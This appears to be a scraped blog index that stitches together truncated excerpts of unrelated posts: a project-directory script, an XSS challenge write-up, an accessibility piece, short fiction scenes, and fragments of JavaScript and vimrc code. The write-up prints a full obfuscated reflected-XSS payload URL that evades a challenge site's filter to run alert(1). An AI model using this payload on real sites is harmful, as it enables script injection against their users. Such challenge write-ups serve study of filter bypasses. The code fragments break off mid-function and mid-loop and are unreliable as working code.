Philip Roberts latentflip

A simple repo clone script for a less messy ~/projects dir

I always end up with a messy projects dir. @paddyforan suggested go's structure which is something like:

$GOPATH/src/github.com/{username}/{repo}

I've gone for:

XSS Explanation:

Adam Baldwin and I figured out a super long solution to rafay.prakharprasad.com. Here's the deets.

This was the full url http://rafay.prakharprasad.com/?search=%3Csvg/onload=z=[]%2batob;l=z[13];r=z[14];s=z[8];a=[]%2b/tnemucod/;a=a[8]%2ba[7]%2ba[6]%2ba[5]%2ba[4]%2ba[3]%2ba[2]%2ba[1];b=[]%2b/LMTHrenni/;b=b[9]%2bb[8]%2bb[7]%2bb[6]%2bb[5]%2bb[4]%2bb[3]%2bb[2]%2bb[1];c=[]%2b/Fa=crsFgmi%3C/;c=c[11]%2bc[10]%2bc[9]%2bc[8]%2bs%2bc[6]%2bc[5]%2bc[4]%2bc[3]%2bc[2]%2bs;d=[]%2b/X1Ztrela=rorreno/;d=d[16]%2bd[15]%2bd[14]%2bd[13]%2bd[12]%2bd[11]%2bd[10]%2bd[9]%2bd[8]%2bd[7]%2bd[6]%2bd[5]%2bd[4]%2bl%2bd[2]%2br;window[a].body[b]=c%2bd%2bwindow[a].body[b][8]//

Let's break it down

We can get javascript execution with http://rafay.prakharprasad.com/?search=%3Csvg/onload=foo// (check the console, you'll see foo is not defined.

So that's a start, but we want to get to alert(1);

Thoughts

Caveats: I suck at accessibility, so I am probably wrong on a lot of things.

The debate

Chrome 32 on Android removes the 300ms delay on touch events for responsive sites. This disables double-tap zoom, leaving pinch to zoom the only way to zoom content. This is an accessibility concern, as for some users double tap zoom may have been the only way they were able to zoom web pages.

Why did they do it?

Meeting

The room was stark. A nothing-special blue extra-hard wearing carpet, smooth white walls, topped with a depressing false ceiling made of a grid of mottled polystyrene tiles. The chair was hard and unforgiving, in front of a cold metal desk. At the other side of the desk was a plush leather task chair, currently unoccupied, and turned slightly towards the door. A single window opposed the door, looking out to a featureless grey sky.

It wasn't exactly what Anatoly had been expecting.

The door opened and a balding man in his mid 50s entered.

"Mr Volkov. A pleasure to finally meet you." The man offered his hand. "Alexis Vechi".

Dinner

Anatoly slowly drew the knife out of it's sheath: a 10 inch Shun classic, made in Seki City, Japan. A treasured gift from Natalia on his 25th birthday. It's rippled-steel blade glinted under the warm halogen lights. He slid his thumb against the edge of the blade, checking it's edge.

The top of the onion came off first, in a single clean cut. Then it was halved, peeled, and diced in the fluid, methodical motions of experience. The diced onion joined the hot oil in the wok. Next up were a few cloves of garlic which were topped, tailed crushed against the side of the knife, peeled and diced. They joined the onions along with a few generous table spoons of red curry paste.

The concoction sizzled gently releasing a mouth, and eye, watering scent.

A handful of potatoes was pulled from the box on the counter, rinsed quartered, and slid carefully to the now boiling pot of water on the stove.

Terminus

"Go on, pick it up."

Anatoly picked up the terminus, and opened it. It's smooth, dark, carbon fiber casing sat comfortably in one hand. It had a nice weight to it, comfortable to hold, but not too light. A hundred small blue lights lit up in sequence forming a ring that glowed in the center of the opened terminus. It made no sounds, but Anatoly could feel it purring gently in the palm of his hand.

"So, what do I do?" Anatoly asked.

Gregor handed him a small lump of graphite. "Put it in the terminus."

	var weevil = require('weevil');
	var deval = require('deval');

	console.log('Lets do something that should be blocking:');

	//this code will be run in a webworker
	var worker = weevil(deval(function () {
	var start = +new Date();

	for (var i=0; i<10000000000000; i++) {

	let mapleader = ","

	""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
	" OPEN FILES IN DIRECTORY OF CURRENT FILE
	""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
	cnoremap %% <C-R>=expand('%:h').'/'<cr>
	map <leader>e :edit %%
	map <leader>s :sp<cr>:edit %%
	map <leader>v :vsp<cr>:edit %%

	var $ = window.$;
	var PageView = require('./base');
	var templates = require('../templates');
	var HM = require('human-model');

	var Model = HM.define({
	props: {
	name: 'string'
	}
	});

	String.prototype.link = function(url) {
	var html, text=this;
	//Strings in JS have a .link() method, pretty handy, see:

	html="<a href='"+url+"'>"+text+"</a>"; //before

	//html=text.link(url); //after

	return html;
	}